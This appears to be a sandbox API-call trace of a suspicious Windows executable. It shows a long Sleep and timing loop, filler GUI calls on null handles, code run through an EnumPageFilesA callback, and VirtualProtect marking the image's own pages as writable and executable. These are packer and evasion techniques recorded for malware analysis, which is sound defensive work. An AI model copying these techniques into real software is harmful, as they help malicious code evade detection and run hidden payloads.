	[0098.444] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19243745271) returned 1
	[0098.444] Sleep (dwMilliseconds=0x1) 
	[0098.446] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.446] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19243945350) returned 1
	[0098.446] Sleep (dwMilliseconds=0x1) 
	[0098.448] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.448] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19244145173) returned 1
	[0098.448] Sleep (dwMilliseconds=0x1) 
	[0098.450] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.450] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19244345903) returned 1
	[0098.450] Sleep (dwMilliseconds=0x1) 
	[0098.452] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.452] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19244545597) returned 1
	[0098.452] Sleep (dwMilliseconds=0x1) 
	[0098.454] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.454] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19244744980) returned 1
	[0098.454] Sleep (dwMilliseconds=0x1) 
	[0098.456] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.456] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19244945386) returned 1
	[0098.456] Sleep (dwMilliseconds=0x1) 
	[0098.458] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.458] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19245145359) returned 1
	[0098.458] Sleep (dwMilliseconds=0x1) 
	[0098.460] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.460] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19245345581) returned 1
	[0098.460] Sleep (dwMilliseconds=0x1) 
	[0098.462] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.462] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19245571625) returned 1
	[0098.462] Sleep (dwMilliseconds=0x1) 
	[0098.464] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.464] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19245801769) returned 1
	[0098.464] Sleep (dwMilliseconds=0x1) 
	[0098.466] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.466] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19245949740) returned 1
	[0098.466] Sleep (dwMilliseconds=0x1) 
	[0098.468] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.468] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19246149069) returned 1
	[0098.468] Sleep (dwMilliseconds=0x1) 
	[0098.470] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.470] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19246348070) returned 1
	[0098.470] Sleep (dwMilliseconds=0x1) 
	[0098.472] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.472] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19246588849) returned 1
	[0098.472] Sleep (dwMilliseconds=0x1) 
	[0098.474] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.482] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19247551638) returned 1
	[0098.482] Sleep (dwMilliseconds=0x1) 
	[0098.484] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.484] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19247745697) returned 1
	[0098.484] Sleep (dwMilliseconds=0x1) 
	[0098.486] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.486] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19247947410) returned 1
	[0098.486] Sleep (dwMilliseconds=0x1) 
	[0098.488] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.488] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19248151360) returned 1
	[0098.488] Sleep (dwMilliseconds=0x1) 
	[0098.490] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.490] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19248347388) returned 1
	[0098.490] Sleep (dwMilliseconds=0x1) 
	[0098.499] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.499] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19249271419) returned 1
	[0098.499] Sleep (dwMilliseconds=0x1) 
	[0098.501] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.501] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19249449599) returned 1
	[0098.501] Sleep (dwMilliseconds=0x1) 
	[0098.503] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.503] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19249647184) returned 1
	[0098.503] Sleep (dwMilliseconds=0x1) 
	[0098.505] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.505] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19249847835) returned 1
	[0098.505] Sleep (dwMilliseconds=0x1) 
	[0098.507] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.507] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19250047943) returned 1
	[0098.507] Sleep (dwMilliseconds=0x1) 
	[0098.509] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.509] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19250247830) returned 1
	[0098.509] Sleep (dwMilliseconds=0x1) 
	[0098.511] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.511] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19250445976) returned 1
	[0098.511] Sleep (dwMilliseconds=0x1) 
	[0098.513] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.513] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19250644981) returned 1
	[0098.513] Sleep (dwMilliseconds=0x1) 
	[0098.515] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.515] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19250846300) returned 1
	[0098.515] Sleep (dwMilliseconds=0x1) 
	[0098.517] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.517] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19251048818) returned 1
	[0098.517] Sleep (dwMilliseconds=0x1) 
	[0098.519] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.519] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19251247873) returned 1
	[0098.519] Sleep (dwMilliseconds=0x1) 
	[0098.521] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.521] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19251446231) returned 1
	[0098.521] Sleep (dwMilliseconds=0x1) 
	[0098.523] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.523] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19251647021) returned 1
	[0098.523] Sleep (dwMilliseconds=0x1) 
	[0098.525] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.525] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19251846808) returned 1
	[0098.525] Sleep (dwMilliseconds=0x1) 
	[0098.527] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.527] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19252050300) returned 1
	[0098.527] Sleep (dwMilliseconds=0x1) 
	[0098.529] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.529] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19252245444) returned 1
	[0098.529] Sleep (dwMilliseconds=0x1) 
	[0098.531] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.531] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19252454577) returned 1
	[0098.531] Sleep (dwMilliseconds=0x1) 
	[0098.533] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.533] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19252646915) returned 1
	[0098.533] Sleep (dwMilliseconds=0x1) 
	[0098.535] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.535] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19252846483) returned 1
	[0098.535] Sleep (dwMilliseconds=0x1) 
	[0098.537] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.537] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19253046928) returned 1
	[0098.537] Sleep (dwMilliseconds=0x1) 
	[0098.539] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.539] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19253246932) returned 1
	[0098.539] Sleep (dwMilliseconds=0x1) 
	[0098.541] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.541] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19253446647) returned 1
	[0098.541] Sleep (dwMilliseconds=0x1) 
	[0098.552] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.552] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19254574109) returned 1
	[0098.552] Sleep (dwMilliseconds=0x1) 
	[0098.554] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.554] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19254757446) returned 1
	[0098.554] Sleep (dwMilliseconds=0x1) 
	[0098.556] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.556] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19254946020) returned 1
	[0098.556] Sleep (dwMilliseconds=0x1) 
	[0098.558] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.558] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19255165264) returned 1
	[0098.558] Sleep (dwMilliseconds=0x1) 
	[0098.560] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.560] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19255346904) returned 1
	[0098.560] Sleep (dwMilliseconds=0x1) 
	[0098.562] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.562] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19255555184) returned 1
	[0098.562] Sleep (dwMilliseconds=0x1) 
	[0098.564] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.564] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19255745196) returned 1
	[0098.564] Sleep (dwMilliseconds=0x1) 
	[0098.566] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.566] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19255945024) returned 1
	[0098.566] Sleep (dwMilliseconds=0x1) 
	[0098.568] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.568] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19256145058) returned 1
	[0098.568] Sleep (dwMilliseconds=0x1) 
	[0098.570] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.570] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19256346452) returned 1
	[0098.570] Sleep (dwMilliseconds=0x1) 
	[0098.572] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.572] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19256583107) returned 1
	[0098.572] Sleep (dwMilliseconds=0x1) 
	[0098.574] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.574] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19256750675) returned 1
	[0098.574] Sleep (dwMilliseconds=0x1) 
	[0098.576] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.576] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19256954548) returned 1
	[0098.576] Sleep (dwMilliseconds=0x1) 
	[0098.578] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.578] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19257153185) returned 1
	[0098.578] Sleep (dwMilliseconds=0x1) 
	[0098.580] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.580] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19257348663) returned 1
	[0098.580] Sleep (dwMilliseconds=0x1) 
	[0098.582] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.582] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19257547404) returned 1
	[0098.582] Sleep (dwMilliseconds=0x1) 
	[0098.584] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.584] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19257746549) returned 1
	[0098.584] Sleep (dwMilliseconds=0x1) 
	[0098.586] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.586] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19257945993) returned 1
	[0098.586] Sleep (dwMilliseconds=0x1) 
	[0098.588] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.588] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19258147103) returned 1
	[0098.588] Sleep (dwMilliseconds=0x1) 
	[0098.590] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.590] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19258345136) returned 1
	[0098.590] Sleep (dwMilliseconds=0x1) 
	[0098.592] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.592] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19258545353) returned 1
	[0098.592] Sleep (dwMilliseconds=0x1) 
	[0098.594] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.594] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19258792804) returned 1
	[0098.594] Sleep (dwMilliseconds=0x1) 
	[0098.596] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.596] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19258947419) returned 1
	[0098.596] Sleep (dwMilliseconds=0x1) 
	[0098.598] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.598] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19259147931) returned 1
	[0098.598] Sleep (dwMilliseconds=0x1) 
	[0098.600] PeekMessageA (in: lpMsg=0xdef530, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xdef530) returned 0
	[0098.600] QueryPerformanceCounter (in: lpPerformanceCount=0xdef8e4 | out: lpPerformanceCount=0xdef8e4*=19259345053) returned 1
	[0098.600] Sleep (dwMilliseconds=0x1) 
	[0102.616] GetProcessMemoryInfo (Process=0xffffffff, ppsmemCounters=0xdef8a4, cb=0x28) returned 1
	[0102.616] GetDlgItem (hDlg=0x0, nIDDlgItem=1908) returned 0x0
	[0102.616] GetWindowRect (in: hWnd=0x0, lpRect=0xdef8cc | out: lpRect=0xdef8cc) returned 0
	[0102.616] wsprintfA (in: param_1=0xdef96c, param_2="Left: %d" | out: param_1="Left: 0") returned 7
	[0102.616] SendMessageA (hWnd=0x0, Msg=0x401, wParam=0x0, lParam=0xdef96c) returned 0x0
	[0102.616] wsprintfA (in: param_1=0xdef96c, param_2="Top: %d" | out: param_1="Top: 0") returned 6
	[0102.616] SendMessageA (hWnd=0x0, Msg=0x401, wParam=0x1, lParam=0xdef96c) returned 0x0
	[0102.616] wsprintfA (in: param_1=0xdef96c, param_2="Right: %d" | out: param_1="Right: -1813896247") returned 18
	[0102.616] SendMessageA (hWnd=0x0, Msg=0x401, wParam=0x2, lParam=0xdef96c) returned 0x0
	[0102.616] wsprintfA (in: param_1=0xdef96c, param_2="Bottom : %d" | out: param_1="Bottom : 4") returned 10
	[0102.616] SendMessageA (hWnd=0x0, Msg=0x401, wParam=0x3, lParam=0xdef96c) returned 0x0
	[0102.616] CreateMenu () returned 0x11009d
	[0102.617] SetCapture (hWnd=0x0) returned 0x0
	[0102.617] InvalidateRect (hWnd=0x0, lpRect=0x0, bErase=1) returned 1
	[0102.618] CreatePopupMenu () returned 0xd02a7
	[0102.618] CreatePopupMenu () returned 0x602ad
	[0102.618] EnumPageFilesA (pCallBackRoutine=0x2c90000, pContext=0x0) 
	[0102.691] GetModuleHandleA (lpModuleName="ntdll") returned 0x77970000
	[0102.691] GetModuleHandleA (lpModuleName=0x0) returned 0x2a0000
	[0103.141] VirtualProtect (in: lpAddress=0x2a0000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x2) returned 1
	[0103.142] VirtualProtect (in: lpAddress=0x2a1000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.142] VirtualProtect (in: lpAddress=0x2a2000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.142] VirtualProtect (in: lpAddress=0x2a3000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.142] VirtualProtect (in: lpAddress=0x2a4000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.142] VirtualProtect (in: lpAddress=0x2a5000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.143] VirtualProtect (in: lpAddress=0x2a6000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.143] VirtualProtect (in: lpAddress=0x2a7000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.143] VirtualProtect (in: lpAddress=0x2a8000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
	[0103.143] VirtualProtect (in: lpAddress=0x2a9000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0xdef380 | out: lpflOldProtect=0xdef380*=0x20) returned 1
